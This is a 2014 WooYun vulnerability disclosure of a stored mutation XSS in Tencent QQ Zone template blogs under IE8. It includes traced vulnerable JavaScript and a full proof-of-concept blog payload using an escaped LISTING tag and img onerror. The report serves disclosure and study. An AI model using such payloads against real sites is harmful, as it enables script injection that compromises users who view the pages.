当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-051536

漏洞标题:QQ空间某功能缺陷导致日志存储型XSS - 15

相关厂商:腾讯

漏洞作者: gainover

提交时间:2014-02-20 16:43

修复时间:2014-04-06 16:43

公开时间:2014-04-06 16:43

漏洞类型:xss跨站脚本攻击

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-02-20: 细节已通知厂商并且等待厂商处理中
2014-02-21: 厂商已经确认,细节仅向厂商公开
2014-03-03: 细节向核心白帽子及相关领域专家公开
2014-03-13: 细节向普通白帽子公开
2014-03-23: 细节向实习白帽子公开
2014-04-06: 细节向公众公开

简要描述:

一枚mXSS(来自老外的叫法),算是比较新鲜的玩意。。

详细说明:

首先声明这是一个IE特异的XSS问题。为了理解这个问题,首先看下面的代码:

<div id="testa">xx</div>
<div id="testb">xx</div>
<script>
var m="<LISTING>&lt;img src=x onerror=alert(1)&gt;</LISTING>";
var x=document.getElementById("testa");
x.innerHTML=m;
var html=x.innerHTML;
alert(html); //弹出 <LISTING><img src=x onerror=alert(1)></LISTING>
document.getElementById("testb").innerHTML = html;
</script>


可以看出 <LISTING>&lt;img src=x onerror=alert(1)&gt;</LISTING> 是一段无害的代码,
但是进入x的innerHTML后,再取出x的innerHTML时,变成了有害的HTML代码
<LISTING><img src=x onerror=alert(1)></LISTING>
当这个有害的代码再次进入其它元素的innerHTML时,就会触发XSS。
------------------------------
为了利用上面这种情况,我们需要假想以下流程。

111111.jpg


看起来有点繁琐,那么是否可以找到这样的场景呢?这里我就拿QQ空间日志为例(对QQ空间的JS代码熟悉点。。)
1. 我们选择模板日志进行发布日志,在日志内容里插入上面提到的那段代码:

<LISTING>&lt;img src=x onerror=alert(1)&gt;</LISTING>


看返回的日志内容得出结论是:腾讯的过滤器并不会过滤listing标签。
2. 第一步是前提,接着我们就要找 innerHTML的一进一出。这里我定位到/qzone/app/blog/v6/script/blog_content.js中的Title.parse

Title.parse = function(content) {
var result = [];
var contentContainer = document.createElement("div");
contentContainer.innerHTML = content;
var titleArr = content.match(/<div[^>]*?name="title"[\s|\S]*?\/div>/ig);
if ( !! titleArr && titleArr.length > 0) {
for (var i = 0, j = titleArr.length; i < j; i++) {
var textDiv = document.createElement("div");
textDiv.innerHTML = titleArr[i];
result.push(textDiv.childNodes[0]);
}
}
return result;
}


在这段代码中,content是我们可控的日志内容,titleArr是正则匹配后的结果,也是我们可控的内容。接着在for循环中,可以看到titleArr的内容进入了 textDiv.innerHTML,这正是我们上面所绘制步骤中的第一步。这些textDiv的子节点被push到result数组中返回。
3. 我们看看Title.parse的返回值去了哪里?相关代码如下:

...
TemplateBlogParser.titles = Title.parse(content);
...


4. 继续跟踪 .titles ,

case "Title":
if (TemplateBlogParser.titles.length == 0) {
break;
}
var title = TemplateBlogParser.titles.shift();
if (title.innerHTML != "") {
aData.content = title.innerHTML;
}
break;


我们可以看到title.innerHTML被取出放入到了 aData.content 变量中。这样一来,就完成了我们所绘步骤图中的第二步。
5. 希望就在前方,我们要继续看这个 aData.content是否会进入 innerHTML而输出到DOM中。
最后输出到页面中的是 TemplateBlogParser.parse 函数的返回值,而该函数的返回值来自以下代码:

case "view":
return aObj.getContentHTML();
break;


因为我们是利用的Title, 其中aObj对应的是Title "类",我们查看Title的getContentHTML函数。

Title.prototype.getContentHTML = function() {
var html = ['<div class="blog_module_tit">', this.data.content, '</div>'].join("");
return html;
}


可以看到,我们的data.content被join拼接并返回,回溯来看,最终到达TemplateBlogParser.parse的返回值中。而该返回值,最终使用以下代码,进入innerHTML.

//g_oBlogContent 中包含有我们的代码
g_oContentDom.innerHTML = g_oBlogContent;


6. 因此,我们可以简单的构造利用代码如下:

<div class="blog_details_20120222"><div name="title">xxxxxxx</div><div name="title"><LISTING>&lt;img src=x onerror=alert(22)&gt;</LISTING> </div><div name="text" style="font-size:14px">bbbbbbb</div><img name="pic" style="display:block;" width="200" height="200" alt="图片" position="0_0" isDefaultPhoto="1" rotation="0" scale="0" src="http://edu.qzs.qq.com/qzone/space_item/orig/10/97754/module_1.jpg" /><div name="title">ccccc</div><div name="text" style="font-size:14px">cccccc</div><img name="pic" style="display:block;" width="200" height="200" alt="图片" position="0_0" isDefaultPhoto="1" rotation="0" scale="0" src="http://edu.qzs.qq.com/qzone/space_item/orig/10/97754/module_2.jpg" /><div name="title">ddddddd</div><div name="text" style="font-size:14px">dddddd</div><img name="pic" style="display:block;" width="200" height="200" alt="图片" position="0_0" isDefaultPhoto="1" rotation="0" scale="0" src="http://edu.qzs.qq.com/qzone/space_item/orig/10/97754/module_3.jpg" /><div name="MultiImageController" data=""></div><div name="music" data="undefined|||"><object style="display:none" ubb="undefined|||" class="blog_music none"></object></div></div>


效果见漏洞证明。

漏洞证明:

win7 + ie8

22222.jpg

修复方案:

考虑过滤 listing 标签,不过可能会有点治标不治本。

版权声明:转载请注明来源 gainover@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2014-02-21 15:01

厂商回复:

非常感谢您的报告,问题已着手处理,感谢大家对腾讯业务安全的关注。如果您有任何疑问,欢迎反馈,我们会有专人跟进处理。

最新状态:

暂无